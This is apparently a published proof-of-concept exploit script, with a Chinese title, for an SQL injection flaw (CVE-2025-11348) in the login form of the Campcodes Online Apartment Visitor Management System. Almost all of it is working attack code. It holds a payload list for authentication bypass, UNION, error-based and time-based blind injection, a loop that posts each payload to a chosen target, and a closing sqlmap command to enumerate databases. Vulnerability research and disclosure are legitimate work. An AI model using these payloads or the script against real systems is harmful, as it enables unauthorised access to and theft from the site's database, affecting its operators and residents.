CVE-2025-11348 Campcodes在线公寓访客管理系统SQL注入漏洞

# CVE-2025-11348 - Campcodes Online Apartment Visitor Management System SQL Injection PoC # Vulnerability: SQL Injection via Username parameter in /index.php # CVSS: 7.3 (HIGH) import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" LOGIN_PATH = "/index.php" # SQL Injection payloads for testing payloads = [ # Basic authentication bypass "' OR '1'='1' -- ", "' OR '1'='1' #", "admin' -- ", "admin' #", # Union-based injection to extract database version "' UNION SELECT 1,version(),3-- ", # Error-based injection "' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ", # Time-based blind injection "' AND SLEEP(5)-- ", "1' OR SLEEP(5)-- ", ] def test_sql_injection(target_url): """Test SQL injection vulnerability in Username parameter""" login_url = target_url + LOGIN_PATH for payload in payloads: data = { "Username": payload, "Password": "test" } try: response = requests.post(login_url, data=data, timeout=10) # Check for successful injection indicators if response.status_code == 200: # Check if bypass was successful or if errors are returned if "Invalid" not in response.text and "incorrect" not in response.text.lower(): print(f"[+] Possible injection with payload: {payload}") print(f"[+] Response length: {len(response.text)}") # Check for MySQL version disclosure if "mysql" in response.text.lower() or "mariadb" in response.text.lower(): print(f"[!] Database version potentially disclosed!") print(response.text[:500]) # Check for time-based injection start_time = time.time() requests.post(login_url, data={"Username": "' AND SLEEP(5)-- ", "Password": "test"}, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based blind SQL injection confirmed!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") continue print("\n[*] For automated exploitation, use sqlmap:") print(f" sqlmap -u '{login_url}' --data='Username=*&Password=test' --dbs") if __name__ == "__main__": import time print(f"[*] Testing SQL injection on: {TARGET_URL}") test_sql_injection(TARGET_URL)